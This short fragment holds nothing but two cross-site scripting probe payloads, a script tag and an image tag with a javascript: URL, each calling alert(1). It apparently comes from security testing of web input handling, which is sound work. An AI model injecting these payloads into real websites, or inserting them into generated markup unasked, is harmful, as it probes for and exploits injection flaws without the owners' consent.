<script>alert(1)</script><img src="javascript:alert(1)">